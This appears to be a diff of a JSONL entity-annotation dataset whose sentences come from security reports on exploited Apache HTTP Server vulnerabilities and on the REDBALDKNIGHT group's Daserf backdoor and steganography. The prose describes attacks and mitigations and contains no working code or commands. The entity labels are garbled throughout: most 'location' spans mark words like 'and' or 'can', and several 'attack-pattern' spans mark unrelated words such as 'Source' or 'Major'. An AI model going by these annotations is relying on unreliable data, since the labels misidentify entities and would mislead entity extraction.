 {"id":10669,"text":"The most common types of attack include denial of service (DoS), path traversal, server-side request forgery (SSRF), and remote code execution (RCE).","entities":[{"id":32561,"label":"location","start_offset":4,"end_offset":8},{"id":32562,"label":"attack-pattern","start_offset":65,"end_offset":79},{"id":32563,"label":"location","start_offset":117,"end_offset":120},{"id":32564,"label":"location","start_offset":121,"end_offset":127}],"relations":[],"Comments":[]}
-{"id":10670,"text":"Multiple vulnerabilities found in 2021 are proven to have been actively exploited.","entities":[{"id":32566,"label":"location","start_offset":39,"end_offset":42}],"relations":[],"Comments":[]}
 {"id":10671,"text":"Table 1: The 15 vulnerabilities weaponized since 2017  CVE ID cvss3 score Description CVE-2021-42013 9.8 Path Traversal and Remote Code Execution in Apache HTTP Server 2.4.49 and 2.4.50 (incomplete fix of CVE-2021-41773) CVE-2021-41773 7.5","entities":[{"id":32570,"label":"attack-pattern","start_offset":105,"end_offset":119},{"id":32571,"label":"location","start_offset":120,"end_offset":123},{"id":32572,"label":"location","start_offset":124,"end_offset":130},{"id":32573,"label":"location","start_offset":149,"end_offset":155},{"id":32574,"label":"location","start_offset":175,"end_offset":178},{"id":32575,"label":"location","start_offset":214,"end_offset":219},{"id":32576,"label":"location","start_offset":230,"end_offset":235}],"relations":[],"Comments":[]}
 {"id":10672,"text":"Path traversal and file disclosure vulnerability in Apache HTTP Server 2.4.49 CVE-2021-40438 9 mod_proxy SSRF CVE-2020-11984 9.8 mod_proxy_uwsgi buffer overflow CVE-2019-10098 6.1 mod_rewrite potential open redirect CVE-2019-10097 7.2 CVE-2019-10097 mod_remoteip Stack buffer overflow and NULL pointer dereference CVE-2019-0190 7.5 mod_ssl 2.4.37 remote DoS when used with OpenSSL 1.1.1 CVE-2018-8011 7.5 mod_md, DoS via Coredumps on specially crafted requests CVE-2018-1303 7.5 Possible out of bound read in mod_cache_socache CVE-2018-11763 5.9 DoS for HTTP\/2 connections by continuous SETTINGS CVE-2017-9798 7.5 Use-after-free when using <Limit > with an unrecognized method in .htaccess (\"OptionsBleed\") CVE-2017-9788 9.1 Uninitialized memory reflection in mod_auth_digest CVE-2017-7668 9.8 ap_find_token()","entities":[{"id":32577,"label":"attack-pattern","start_offset":0,"end_offset":14},{"id":32578,"label":"location","start_offset":15,"end_offset":18},{"id":32579,"label":"location","start_offset":52,"end_offset":58},{"id":32580,"label":"attack-pattern","start_offset":145,"end_offset":160},{"id":32581,"label":"attack-pattern","start_offset":269,"end_offset":284},{"id":32582,"label":"location","start_offset":285,"end_offset":288},{"id":32583,"label":"location","start_offset":294,"end_offset":301},{"id":32584,"label":"location","start_offset":347,"end_offset":353},{"id":32585,"label":"location","start_offset":536,"end_offset":541}],"relations":[],"Comments":[]}
 {"id":10673,"text":"Buffer","entities":[],"relations":[],"Comments":[]}
 {"id":10674,"text":"Overread","entities":[],"relations":[],"Comments":[]}
 {"id":10675,"text":"CVE-2017-7659 7.5 mod_http2","entities":[],"relations":[],"Comments":[]}
-{"id":10676,"text":"Null Pointer Dereference CVE-2017-15715 8.1 <FilesMatch> bypass with a trailing newline in the file name","entities":[{"id":32586,"label":"location","start_offset":5,"end_offset":12},{"id":32587,"label":"location","start_offset":34,"end_offset":39}],"relations":[],"Comments":[]}
 {"id":10677,"text":" Source: Apache HTTP Server Project, Trend Micro Inc., NVD CVE-2021-41773 and CVE-2021-42013, the two critical vulnerabilities, are perfect examples of how attackers exploit the vulnerabilities in the Apache HTTP Server.","entities":[{"id":32588,"label":"attack-pattern","start_offset":1,"end_offset":7},{"id":32589,"label":"location","start_offset":9,"end_offset":15},{"id":32591,"label":"location","start_offset":68,"end_offset":73},{"id":32592,"label":"location","start_offset":74,"end_offset":77},{"id":32594,"label":"location","start_offset":128,"end_offset":131}],"relations":[],"Comments":[]}
 {"id":10678,"text":"As Trend Micro reported, these two are path traversal vulnerabilities that allow attackers to map URLs to files\/directories outside of the webroot.","entities":[{"id":32598,"label":"location","start_offset":35,"end_offset":38},{"id":32599,"label":"attack-pattern","start_offset":39,"end_offset":53}],"relations":[],"Comments":[]}
-{"id":10679,"text":"In certain configurations where Common Gateway Interface (CGI) scripts are enabled for these paths, attackers can achieve RCE on the vulnerable server.","entities":[{"id":32600,"label":"location","start_offset":39,"end_offset":46},{"id":32601,"label":"location","start_offset":71,"end_offset":74},{"id":32602,"label":"location","start_offset":110,"end_offset":113}],"relations":[],"Comments":[]}
-{"id":10680,"text":"Both discovered in early October 2021, CVE-2021-41773 and CVE-2021-42013 were detected with more than four million exploits by the end of 2021.","entities":[{"id":32604,"label":"location","start_offset":48,"end_offset":53},{"id":32605,"label":"location","start_offset":54,"end_offset":57}],"relations":[],"Comments":[]}
-{"id":10681,"text":"Another Apache HTTP Server vulnerability, CVE-2021-40438, shows how great the impact can be when the vulnerability gets exploited.","entities":[{"id":32608,"label":"location","start_offset":8,"end_offset":14},{"id":32609,"label":"location","start_offset":78,"end_offset":84},{"id":32610,"label":"location","start_offset":85,"end_offset":88}],"relations":[],"Comments":[]}
-{"id":10682,"text":"CVE-2021-40438 is a vulnerability existing in the mod_proxy module and prone to SSRF.","entities":[{"id":32611,"label":"location","start_offset":67,"end_offset":70}],"relations":[],"Comments":[]}
-{"id":10683,"text":"This flaw allows a remote, unauthenticated attacker to make the httpd server forward requests to an arbitrary server.","entities":[{"id":32612,"label":"location","start_offset":19,"end_offset":25}],"relations":[],"Comments":[]}
-{"id":10684,"text":"The attacker could get, modify, or delete resources on other services that may be behind a firewall and inaccessible otherwise.","entities":[{"id":32613,"label":"location","start_offset":75,"end_offset":78},{"id":32614,"label":"location","start_offset":100,"end_offset":103}],"relations":[],"Comments":[]}
-{"id":10685,"text":"The impact of this flaw varies based on what services and resources are available on the httpd network.","entities":[{"id":32615,"label":"location","start_offset":4,"end_offset":10},{"id":32616,"label":"location","start_offset":54,"end_offset":57},{"id":32617,"label":"location","start_offset":68,"end_offset":71}],"relations":[],"Comments":[]}
-{"id":10686,"text":"CVE-2021-40438 has a huge impact on products from Cisco, IBM QRadar SIEM, Debian Linux, F5 Os, Red Hat and more.","entities":[{"id":32618,"label":"location","start_offset":26,"end_offset":32},{"id":32625,"label":"location","start_offset":103,"end_offset":106}],"relations":[],"Comments":[]}
-{"id":10687,"text":"On December 1, 2021, CISA added CVE-2021-40438 to its list of known exploited vulnerabilities.","entities":[{"id":32628,"label":"location","start_offset":54,"end_offset":58}],"relations":[],"Comments":[]}
 {"id":10688,"text":"Schemes behind the attacks The attacks that target open-source web servers could lead to enormous threats.","entities":[{"id":32629,"label":"location","start_offset":44,"end_offset":50},{"id":32630,"label":"attack-pattern","start_offset":56,"end_offset":62},{"id":32631,"label":"location","start_offset":81,"end_offset":85}],"relations":[],"Comments":[]}
-{"id":10689,"text":"Once any web server vulnerability gets exploited and hacked, the victim server can be taken over and used for malicious activities.","entities":[{"id":32632,"label":"location","start_offset":49,"end_offset":52},{"id":32633,"label":"location","start_offset":79,"end_offset":82},{"id":32634,"label":"location","start_offset":97,"end_offset":100}],"relations":[],"Comments":[]}
-{"id":10690,"text":"The most common activities include using victim servers to send out spam mail or launching attacks against other servers at the cost of the victim server’s memory and bandwidth.","entities":[{"id":32635,"label":"location","start_offset":4,"end_offset":8},{"id":32636,"label":"location","start_offset":128,"end_offset":132},{"id":32637,"label":"location","start_offset":163,"end_offset":166}],"relations":[],"Comments":[]}
 {"id":10691,"text":"Attackers can also install a phishing website on the victim server to gain access to any data that passes through it.","entities":[{"id":32638,"label":"location","start_offset":10,"end_offset":13},{"id":32639,"label":"attack-pattern","start_offset":29,"end_offset":37}],"relations":[],"Comments":[]}
-{"id":10692,"text":"However, the most popular utility of attacks in recent years is cryptojacking: hackers exploit the vulnerability and secretly use the victim server’s computing power to mine popular cryptocurrencies.","entities":[{"id":32640,"label":"location","start_offset":13,"end_offset":17},{"id":32641,"label":"location","start_offset":26,"end_offset":33},{"id":32643,"label":"location","start_offset":113,"end_offset":116},{"id":32644,"label":"location","start_offset":160,"end_offset":165},{"id":32645,"label":"location","start_offset":169,"end_offset":173}],"relations":[],"Comments":[]}
-{"id":10693,"text":"Trend Micro revealed how cyber actors used the vulnerabilities and abuse of GitHub and Netlify repositories to mine Monero.","entities":[{"id":32647,"label":"location","start_offset":63,"end_offset":66},{"id":32649,"label":"location","start_offset":83,"end_offset":86},{"id":32651,"label":"location","start_offset":111,"end_offset":115}],"relations":[],"Comments":[]}
-{"id":10694,"text":"For cybercriminals, Apache HTTP Server is always a favorite target: It serves 24.63% of the million busiest websites according to Netcraft stats.","entities":[{"id":32653,"label":"location","start_offset":60,"end_offset":66}],"relations":[],"Comments":[]}
 {"id":10695,"text":"Major web service providers such as Slack, Linkedin, The New York Times, GrubHub, and more rely on Apache HTTP Server.","entities":[{"id":32657,"label":"location","start_offset":0,"end_offset":5},{"id":32658,"label":"attack-pattern","start_offset":6,"end_offset":17},{"id":32663,"label":"location","start_offset":82,"end_offset":85}],"relations":[],"Comments":[]}
-{"id":10696,"text":"For IT professionals, it’s challenging to patch such a vital service and not to harm user satisfaction.","entities":[{"id":32665,"label":"location","start_offset":69,"end_offset":72}],"relations":[],"Comments":[]}
 {"id":10697,"text":"Furthermore, the complexity of the software supply chain nowadays exacerbates the abuse of open-source software vulnerabilities.","entities":[{"id":32666,"label":"location","start_offset":44,"end_offset":50},{"id":32667,"label":"attack-pattern","start_offset":96,"end_offset":102}],"relations":[],"Comments":[]}
 {"id":10698,"text":"Cyber attackers could compromise software components of third-party suppliers by inserting malicious code inconspicuously.","entities":[],"relations":[],"Comments":[]}
-{"id":10699,"text":"Compared to the traditional supply chain, the software supply chain requires more layers of verification to ensure its security.","entities":[{"id":32668,"label":"location","start_offset":28,"end_offset":34},{"id":32669,"label":"location","start_offset":55,"end_offset":61},{"id":32670,"label":"location","start_offset":119,"end_offset":127}],"relations":[],"Comments":[]}
 {"id":10700,"text":"Protect your web server against potential harm To mitigate the potential risk of attacks from open-source software, software composition analysis (SCA) has become an effective approach.","entities":[{"id":32671,"label":"attack-pattern","start_offset":99,"end_offset":105}],"relations":[],"Comments":[]}
-{"id":10701,"text":"SCA identifies and lists all the parts and versions present in the code.","entities":[{"id":32672,"label":"location","start_offset":15,"end_offset":18},{"id":32673,"label":"location","start_offset":39,"end_offset":42}],"relations":[],"Comments":[]}
-{"id":10702,"text":"It also checks each specific service and looks for outdated or vulnerable libraries that may pose security risks to the application.","entities":[{"id":32674,"label":"location","start_offset":37,"end_offset":40},{"id":32675,"label":"location","start_offset":89,"end_offset":92},{"id":32676,"label":"location","start_offset":98,"end_offset":106}],"relations":[],"Comments":[]}
 {"id":10703,"text":"These tools can also check for legal issues regarding the use of open-source software with different licensing terms and conditions.","entities":[{"id":32677,"label":"location","start_offset":12,"end_offset":15},{"id":32678,"label":"location","start_offset":21,"end_offset":26},{"id":32679,"label":"attack-pattern","start_offset":70,"end_offset":76},{"id":32680,"label":"location","start_offset":117,"end_offset":120}],"relations":[],"Comments":[]}
-{"id":10704,"text":"Trend Micro published a whitepaper on how to prevent supply chain attacks in the age of cloud computing in 2020 October.","entities":[{"id":32682,"label":"location","start_offset":53,"end_offset":59},{"id":32683,"label":"location","start_offset":88,"end_offset":93}],"relations":[],"Comments":[]}
-{"id":10705,"text":"Developing a risk-based approach to patch management can help organizations identify and prioritize which vulnerabilities they need to deal with now.","entities":[{"id":32685,"label":"location","start_offset":53,"end_offset":56},{"id":32686,"label":"location","start_offset":85,"end_offset":88},{"id":32687,"label":"location","start_offset":135,"end_offset":139}],"relations":[],"Comments":[]}
-{"id":10706,"text":"This approach consists of:  Continuously conducting exposure assessments to determine what CVEs – past and present – are in your environment at all times.","entities":[{"id":32688,"label":"location","start_offset":103,"end_offset":106},{"id":32689,"label":"location","start_offset":117,"end_offset":120}],"relations":[],"Comments":[]}
 {"id":10707,"text":"Assessing the criticality of those systems that contain those CVEs.","entities":[],"relations":[],"Comments":[]}
-{"id":10708,"text":"Conducting a continuous but simple risk assessment: Assessing the likelihood that those identified CVEs are or will be exploited in the wild against the impact of those CVEs used in an attack.","entities":[{"id":32690,"label":"location","start_offset":104,"end_offset":107},{"id":32691,"label":"location","start_offset":111,"end_offset":115},{"id":32692,"label":"location","start_offset":153,"end_offset":159}],"relations":[],"Comments":[]}
 {"id":10709,"text":"i.      Is a POC available ii.      Is it in the wild    ","entities":[],"relations":[],"Comments":[]}
-{"id":10710,"text":"If you struggle with patch management, you may look at virtual patching or IPS technology to help as these can be deployed to detect\/block exploits of a vulnerability and allow you time to properly patch the vulnerability with the vendor’s patch.","entities":[{"id":32693,"label":"location","start_offset":43,"end_offset":46},{"id":32694,"label":"location","start_offset":107,"end_offset":110},{"id":32695,"label":"location","start_offset":167,"end_offset":170},{"id":32696,"label":"location","start_offset":181,"end_offset":185},{"id":32697,"label":"location","start_offset":231,"end_offset":237}],"relations":[],"Comments":[]}
-{"id":10711,"text":"Trend Micro’s Zero Day Initiative bug bounty program and our vulnerability research teams help us identify new vulnerabilities and develop virtual patches for our Cloud One, TippingPoint, Apex One, and Worry Free Services customers.","entities":[{"id":32699,"label":"location","start_offset":14,"end_offset":18},{"id":32700,"label":"location","start_offset":19,"end_offset":22},{"id":32701,"label":"location","start_offset":53,"end_offset":56},{"id":32702,"label":"location","start_offset":127,"end_offset":130},{"id":32703,"label":"location","start_offset":163,"end_offset":168},{"id":32704,"label":"location","start_offset":169,"end_offset":172},{"id":32707,"label":"location","start_offset":198,"end_offset":201}],"relations":[],"Comments":[]}
-{"id":10712,"text":"In some cases, we have virtual patches out months ahead of the vendor patch.","entities":[{"id":32710,"label":"location","start_offset":63,"end_offset":69}],"relations":[],"Comments":[]}
-{"id":10713,"text":"Malicious actors will continue to exploit vulnerable applications, operating systems, and devices in their efforts to attack organizations.","entities":[{"id":32711,"label":"location","start_offset":17,"end_offset":21},{"id":32712,"label":"location","start_offset":86,"end_offset":89}],"relations":[],"Comments":[]}
-{"id":10714,"text":"Improving your understanding of key applications like Apache can help you better understand where you can minimize your risk of attack.","entities":[{"id":32713,"label":"location","start_offset":54,"end_offset":60},{"id":32714,"label":"location","start_offset":61,"end_offset":64},{"id":32715,"label":"location","start_offset":102,"end_offset":105}],"relations":[],"Comments":[]}
-{"id":10715,"text":"        Tags  APT & Targeted Attacks | Exploits & Vulnerabilities | Network | Security Strategies | Articles, News, Reports | Cyber Threats","entities":[{"id":32716,"label":"location","start_offset":14,"end_offset":17},{"id":32717,"label":"location","start_offset":78,"end_offset":86}],"relations":[],"Comments":[]}
 {"id":10716,"text":"Additional analysis and insights by Higashi Yuka and Chizuru Toyama REDBALDKNIGHT, also known as BRONZE BUTLER and Tick, is a cyberespionage group known to target Japanese organizations such as government agencies (including defense) as well as those in biotechnology, electronics manufacturing, and industrial chemistry.","entities":[{"id":32718,"label":"location","start_offset":20,"end_offset":23},{"id":32720,"label":"location","start_offset":49,"end_offset":52},{"id":32722,"label":"threat-actor","start_offset":68,"end_offset":81},{"id":32724,"label":"location","start_offset":111,"end_offset":114},{"id":32725,"label":"threat-actor","start_offset":115,"end_offset":119},{"id":32726,"label":"location","start_offset":156,"end_offset":162},{"id":32728,"label":"location","start_offset":296,"end_offset":299},{"id":32729,"label":"location","start_offset":300,"end_offset":310}],"relations":[],"Comments":[]}
 {"id":10717,"text":"Their campaigns employ the Daserf backdoor (detected by Trend Micro as BKDR_DASERF, otherwise known as Muirim and Nioupale) that has four main capabilities: execute shell commands, download and upload data, take screenshots, and log keystrokes.","entities":[{"id":32733,"label":"location","start_offset":110,"end_offset":113},{"id":32734,"label":"malware","start_offset":114,"end_offset":122},{"id":32736,"label":"location","start_offset":165,"end_offset":170},{"id":32737,"label":"location","start_offset":190,"end_offset":193},{"id":32738,"label":"location","start_offset":225,"end_offset":228}],"relations":[],"Comments":[]}
-{"id":10718,"text":"Our recent telemetry, however, indicates that variants of Daserf were not only used to spy on and steal from Japanese and South Korean targets, but also against Russian, Singaporean, and Chinese enterprises.","entities":[{"id":32740,"label":"location","start_offset":74,"end_offset":78},{"id":32741,"label":"location","start_offset":94,"end_offset":97},{"id":32743,"label":"location","start_offset":118,"end_offset":121},{"id":32747,"label":"location","start_offset":183,"end_offset":186}],"relations":[],"Comments":[]}
-{"id":10719,"text":"We also found various versions of Daserf that employ different techniques and use steganography—embedding codes in unexpected mediums or locations (i.e., images)—to conceal themselves better.","entities":[{"id":32750,"label":"location","start_offset":74,"end_offset":77}],"relations":[],"Comments":[]}
 {"id":10720,"text":"Like many cyberespionage campaigns, REDBALDKNIGHT’s attacks are intermittent but drawn-out.","entities":[{"id":32751,"label":"location","start_offset":5,"end_offset":9},{"id":32752,"label":"threat-actor","start_offset":36,"end_offset":49},{"id":32753,"label":"location","start_offset":60,"end_offset":63}],"relations":[],"Comments":[]}
-{"id":10721,"text":"In fact, REDBALDKNIGHT has been zeroing in on Japanese organizations as early as 2008—at least based on the file properties of the decoy documents they’ve been sending to their targets.","entities":[{"id":32756,"label":"location","start_offset":72,"end_offset":77},{"id":32758,"label":"location","start_offset":131,"end_offset":136}],"relations":[],"Comments":[]}
 {"id":10722,"text":"The specificity of their targets stems from the social engineering tactics used.","entities":[],"relations":[],"Comments":[]}
-{"id":10723,"text":"The decoy documents they use in their attack chain are written in fluent Japanese, and particularly, created via the Japanese word processor Ichitaro.","entities":[{"id":32759,"label":"location","start_offset":4,"end_offset":9},{"id":32760,"label":"location","start_offset":51,"end_offset":54},{"id":32762,"label":"location","start_offset":83,"end_offset":86}],"relations":[],"Comments":[]}
 {"id":10724,"text":"One of the decoy documents, for instance, was about the “plan of disaster prevention in heisei 20” (Heisei is the current\/modern era in Japan).  Figure 1: File properties of one of the decoy documents that REDBALDKNIGHT sends to Japanese targets  Figures 2: Sample of decoy documents used by REDBALDKNIGHT, employing socially engineered titles in their spear phishing emails such as “disaster prevention”","entities":[{"id":32766,"label":"location","start_offset":11,"end_offset":16},{"id":32767,"label":"location","start_offset":129,"end_offset":132},{"id":32771,"label":"location","start_offset":185,"end_offset":190},{"id":32775,"label":"location","start_offset":258,"end_offset":264},{"id":32776,"label":"location","start_offset":268,"end_offset":273},{"id":32778,"label":"attack-pattern","start_offset":353,"end_offset":367}],"relations":[],"Comments":[]}
 {"id":10725,"text":"Attack ChainREDBALDKNIGHT’s attacks typically use spear phishing emails as an entry point.","entities":[{"id":32779,"label":"attack-pattern","start_offset":50,"end_offset":64},{"id":32780,"label":"location","start_offset":84,"end_offset":89}],"relations":[],"Comments":[]}
 {"id":10726,"text":"Their attachments exploit a vulnerability in Ichitaro, as shown above.","entities":[],"relations":[],"Comments":[]}
-{"id":10727,"text":"These are decoy documents, often used by cyberespionage groups as a distraction while they execute their malware behind the scenes using lures such as “CPR” and “disaster prevention.”","entities":[{"id":32782,"label":"location","start_offset":6,"end_offset":9},{"id":32783,"label":"location","start_offset":10,"end_offset":15},{"id":32784,"label":"location","start_offset":157,"end_offset":160}],"relations":[],"Comments":[]}
-{"id":10728,"text":"Daserf will be installed and launched on the affected machine once the victim opens the document.","entities":[{"id":32786,"label":"location","start_offset":7,"end_offset":11},{"id":32787,"label":"location","start_offset":25,"end_offset":28}],"relations":[],"Comments":[]}
-{"id":10729,"text":"Daserf wasn’t well-known until security researchers publicly disclosed it last year, and whose beginnings they’ve traced as far back as 2011.","entities":[{"id":32789,"label":"location","start_offset":31,"end_offset":39},{"id":32791,"label":"location","start_offset":85,"end_offset":88}],"relations":[],"Comments":[]}
 {"id":10730,"text":"Based on the hardcoded version number they divulged (Version:1.15.11.26TB Mini), we were able to source other versions of the backdoor (listed in the appendix).","entities":[{"id":32793,"label":"attack-pattern","start_offset":97,"end_offset":103}],"relations":[],"Comments":[]}
-{"id":10731,"text":"Fine-tuning DaserfOur analyses revealed Daserf regularly undergo technical improvements to keep itself under the radar against traditional anti-virus (AV) detection.","entities":[{"id":32794,"label":"location","start_offset":0,"end_offset":4}],"relations":[],"Comments":[]}
-{"id":10732,"text":"For instance, Daserf versions 1.50Z, 1.50F, 1.50D, 1.50C, 1.50A, 1.40D, and 1.40C use encrypted Windows application programming interfaces (APIs).","entities":[{"id":32799,"label":"location","start_offset":72,"end_offset":75}],"relations":[],"Comments":[]}
 {"id":10733,"text":"Version v1.40 Mini uses the MPRESS packer, which provides some degree of protection against AV detection and reverse engineering.","entities":[{"id":32802,"label":"location","start_offset":73,"end_offset":83},{"id":32803,"label":"location","start_offset":105,"end_offset":108},{"id":32804,"label":"attack-pattern","start_offset":109,"end_offset":128}],"relations":[],"Comments":[]}
-{"id":10734,"text":"Daserf 1.72 and later versions use the alternative base64+RC4 to encrypt the feedback data, while others use different encryption such as 1.50Z, which uses the Ceasar cipher (which substitutes letters in plaintext with another that corresponds to a number of letters, either upwards or downwards).","entities":[{"id":32806,"label":"location","start_offset":12,"end_offset":15}],"relations":[],"Comments":[]}
-{"id":10735,"text":"More notably, REDBALDKNIGHT integrated steganography to conduct second-stage, command-and-control (C&C) communication and retrieve a second-stage backdoor.","entities":[{"id":32809,"label":"location","start_offset":86,"end_offset":89},{"id":32810,"label":"location","start_offset":118,"end_offset":121}],"relations":[],"Comments":[]}
-{"id":10736,"text":"This technique has been observed in Daserf v1.72 Mini and later versions.","entities":[{"id":32814,"label":"location","start_offset":54,"end_offset":57}],"relations":[],"Comments":[]}
-{"id":10737,"text":"Daserf’s use of steganography not only enables the backdoor to bypass firewalls (i.e., web application firewalls); the technique also allows the attackers to change second-stage C&C communication or backdoor faster and more conveniently.","entities":[{"id":32816,"label":"location","start_offset":34,"end_offset":38},{"id":32818,"label":"location","start_offset":215,"end_offset":218}],"relations":[],"Comments":[]}
 {"id":10738,"text":"How REDBALDKNIGHT Employs","entities":[{"id":32819,"label":"threat-actor","start_offset":4,"end_offset":17}],"relations":[],"Comments":[]}
 {"id":10739,"text":"SteganographyDaserf’s infection chain accordingly evolved, as shown below.","entities":[],"relations":[],"Comments":[]}
 {"id":10740,"text":"It has several methods for infecting its targets of interest: spear phishing emails, watering hole attacks, and exploiting a remote code execution vulnerability (CVE-2016-7836, patched last March 2017) in SKYSEA Client View, an IT asset management software widely used in Japan.","entities":[{"id":32821,"label":"attack-pattern","start_offset":62,"end_offset":76},{"id":32822,"label":"location","start_offset":94,"end_offset":98},{"id":32823,"label":"location","start_offset":108,"end_offset":111},{"id":32824,"label":"location","start_offset":125,"end_offset":131}],"relations":[],"Comments":[]}
-{"id":10741,"text":"Figure 3: Daserf’s latest execution and infection flow","entities":[{"id":32830,"label":"location","start_offset":36,"end_offset":39}],"relations":[],"Comments":[]}
-{"id":10742,"text":"A downloader will be installed on ther victim’s machine and retrieve Daserf from a compromised site.","entities":[{"id":32831,"label":"location","start_offset":13,"end_offset":17},{"id":32832,"label":"location","start_offset":56,"end_offset":59}],"relations":[],"Comments":[]}
-{"id":10743,"text":"Daserf will then connect to another compromised site and download an image file (i.e., .JPG, .GIF).","entities":[{"id":32835,"label":"location","start_offset":7,"end_offset":11},{"id":32836,"label":"location","start_offset":53,"end_offset":56}],"relations":[],"Comments":[]}
-{"id":10744,"text":"The image is embedded in either the encrypted backdoor configurations or hacking tool.","entities":[{"id":32837,"label":"location","start_offset":81,"end_offset":85}],"relations":[],"Comments":[]}
-{"id":10745,"text":"After their decryption, Daserf will connect to its C&C and await further commands.","entities":[{"id":32839,"label":"location","start_offset":31,"end_offset":35},{"id":32840,"label":"location","start_offset":55,"end_offset":58}],"relations":[],"Comments":[]}
-{"id":10746,"text":"Daserf 1.72 and later versions incorporate steganographic techniques.","entities":[{"id":32842,"label":"location","start_offset":12,"end_offset":15}],"relations":[],"Comments":[]}
 {"id":10747,"text":"REDBALDKNIGHT’s use of steganography isn’t limited to Daserf.","entities":[],"relations":[],"Comments":[]}
-{"id":10748,"text":"We also found two of their toolkits employing the same technique—xxmm2_builder, and xxmm2_steganography.","entities":[{"id":32846,"label":"location","start_offset":50,"end_offset":54},{"id":32847,"label":"location","start_offset":80,"end_offset":83}],"relations":[],"Comments":[]}
 {"id":10749,"text":"Based on their pdb strings, they’re both components of another REDBALDKNIGHT-related threat, XXMM (TROJ_KVNDM), a downloader Trojan that can also act as a first-stage backdoor with its capability to open a shell.","entities":[{"id":32848,"label":"threat-actor","start_offset":63,"end_offset":76},{"id":32849,"label":"malware","start_offset":93,"end_offset":97},{"id":32850,"label":"location","start_offset":137,"end_offset":140},{"id":32852,"label":"location","start_offset":206,"end_offset":211}],"relations":[],"Comments":[]}
 {"id":10750,"text":"While xxmm2_builder allows REDBALDKNIGHT to customize the settings of XXMM, xxmm2_ steganography is used to hide malicious code within an image file.","entities":[{"id":32853,"label":"threat-actor","start_offset":27,"end_offset":40},{"id":32854,"label":"malware","start_offset":70,"end_offset":74}],"relations":[],"Comments":[]}
 {"id":10751,"text":"REDBALDKNIGHT’s tool can create, embed, and hide executables or configuration files within the image file with its tag and encrypted strings via steganography.","entities":[{"id":32855,"label":"threat-actor","start_offset":0,"end_offset":13},{"id":32856,"label":"location","start_offset":16,"end_offset":20},{"id":32857,"label":"location","start_offset":21,"end_offset":24},{"id":32858,"label":"location","start_offset":40,"end_offset":43},{"id":32859,"label":"location","start_offset":119,"end_offset":122}],"relations":[],"Comments":[]}
-{"id":10752,"text":"An encrypted string can be an executable file or a URL.","entities":[{"id":32860,"label":"location","start_offset":20,"end_offset":23}],"relations":[],"Comments":[]}
-{"id":10753,"text":"A threat actor will use\/upload an existing image that the builder then injects with steganographic code.","entities":[{"id":32861,"label":"location","start_offset":15,"end_offset":19}],"relations":[],"Comments":[]}
 {"id":10754,"text":"Additionally, we also found that the steganography algorithm (alternative base64 + RC4) between XXMM and Daserf were the same.","entities":[{"id":32862,"label":"location","start_offset":88,"end_offset":95},{"id":32863,"label":"malware","start_offset":96,"end_offset":100},{"id":32864,"label":"location","start_offset":101,"end_offset":104},{"id":32866,"label":"location","start_offset":121,"end_offset":125}],"relations":[],"Comments":[]}
 {"id":10755,"text":"Figure 4: Code snippets showing Daserf’s decode function, which is the same as XXMM’s Figure 5: Steganography toolkit used by REDBALDKNIGHT for XXMM Figure 6:","entities":[{"id":32868,"label":"malware","start_offset":32,"end_offset":38},{"id":32869,"label":"location","start_offset":71,"end_offset":75},{"id":32870,"label":"malware","start_offset":79,"end_offset":83},{"id":32872,"label":"threat-actor","start_offset":126,"end_offset":139}],"relations":[],"Comments":[]}
 {"id":10756,"text":"Snapshots of Daserf’s steganographic code generated by their toolkit MitigationSteganography is a particularly useful technique in purposeful cyberattacks: the longer their malicious activities stay undetected, the more they can steal and exfiltrate data.","entities":[{"id":32875,"label":"tools","start_offset":13,"end_offset":19},{"id":32876,"label":"location","start_offset":225,"end_offset":228},{"id":32877,"label":"location","start_offset":235,"end_offset":238}],"relations":[],"Comments":[]}
-{"id":10757,"text":"And indeed, the routine is increasingly gaining cybercriminal traction, in varying degrees of proficiency—from exploit kits, malvertising campaigns, banking Trojans, and C&C communication to even ransomware.","entities":[{"id":32878,"label":"location","start_offset":0,"end_offset":3},{"id":32879,"label":"location","start_offset":166,"end_offset":169}],"relations":[],"Comments":[]}
-{"id":10758,"text":"In the case of REDBALDKNIGHT’s campaigns, the use of steganography is further compounded by their use of malware that can better evade detection and analysis.","entities":[{"id":32880,"label":"location","start_offset":7,"end_offset":11},{"id":32882,"label":"location","start_offset":118,"end_offset":121},{"id":32883,"label":"location","start_offset":145,"end_offset":148}],"relations":[],"Comments":[]}
-{"id":10759,"text":"REDBALDKNIGHT’s continuous campaigns—along with their diversity and scope—highlight the importance of defense in depth.","entities":[{"id":32885,"label":"location","start_offset":37,"end_offset":42},{"id":32886,"label":"location","start_offset":64,"end_offset":67}],"relations":[],"Comments":[]}
-{"id":10760,"text":"Organizations can mitigate these threats by enforcing the principle of least privilege to reduce their opportunities for lateral movement significantly.","entities":[{"id":32887,"label":"location","start_offset":14,"end_offset":17}],"relations":[],"Comments":[]}
-{"id":10761,"text":"Network segmentation and data categorization help in this regard.","entities":[{"id":32888,"label":"location","start_offset":21,"end_offset":24}],"relations":[],"Comments":[]}
-{"id":10762,"text":"Mechanisms like access control and blacklisting as well as intrusion detection and prevention systems help further secure the network while whitelisting (e.g., application control) and behavior monitoring help detect and block anomalous activities from suspicious or unknown files.","entities":[{"id":32889,"label":"location","start_offset":31,"end_offset":34},{"id":32890,"label":"location","start_offset":79,"end_offset":82},{"id":32891,"label":"location","start_offset":181,"end_offset":184},{"id":32892,"label":"location","start_offset":217,"end_offset":220}],"relations":[],"Comments":[]}
 {"id":10763,"text":"Safeguard the email gateway to defend against REDBALDKNIGHT’s spear phishing methods.","entities":[{"id":32893,"label":"location","start_offset":20,"end_offset":27},{"id":32894,"label":"threat-actor","start_offset":46,"end_offset":59},{"id":32895,"label":"attack-pattern","start_offset":62,"end_offset":76}],"relations":[],"Comments":[]}
-{"id":10764,"text":"Disable unnecessary and outdated components or plug-ins, and ensure that the system administration tools are used securely, as they can be misused by threat actors.","entities":[{"id":32896,"label":"location","start_offset":20,"end_offset":23},{"id":32897,"label":"location","start_offset":57,"end_offset":60},{"id":32898,"label":"location","start_offset":105,"end_offset":108},{"id":32899,"label":"location","start_offset":132,"end_offset":135}],"relations":[],"Comments":[]}
-{"id":10765,"text":"And more crucially, keep the infrastructure and its applications up-to-date to reduce attack surface—from the gateways and networks to endpoints, and servers.","entities":[{"id":32900,"label":"location","start_offset":0,"end_offset":3},{"id":32901,"label":"location","start_offset":44,"end_offset":47},{"id":32902,"label":"location","start_offset":71,"end_offset":75},{"id":32903,"label":"location","start_offset":119,"end_offset":122},{"id":32904,"label":"location","start_offset":146,"end_offset":149}],"relations":[],"Comments":[]}
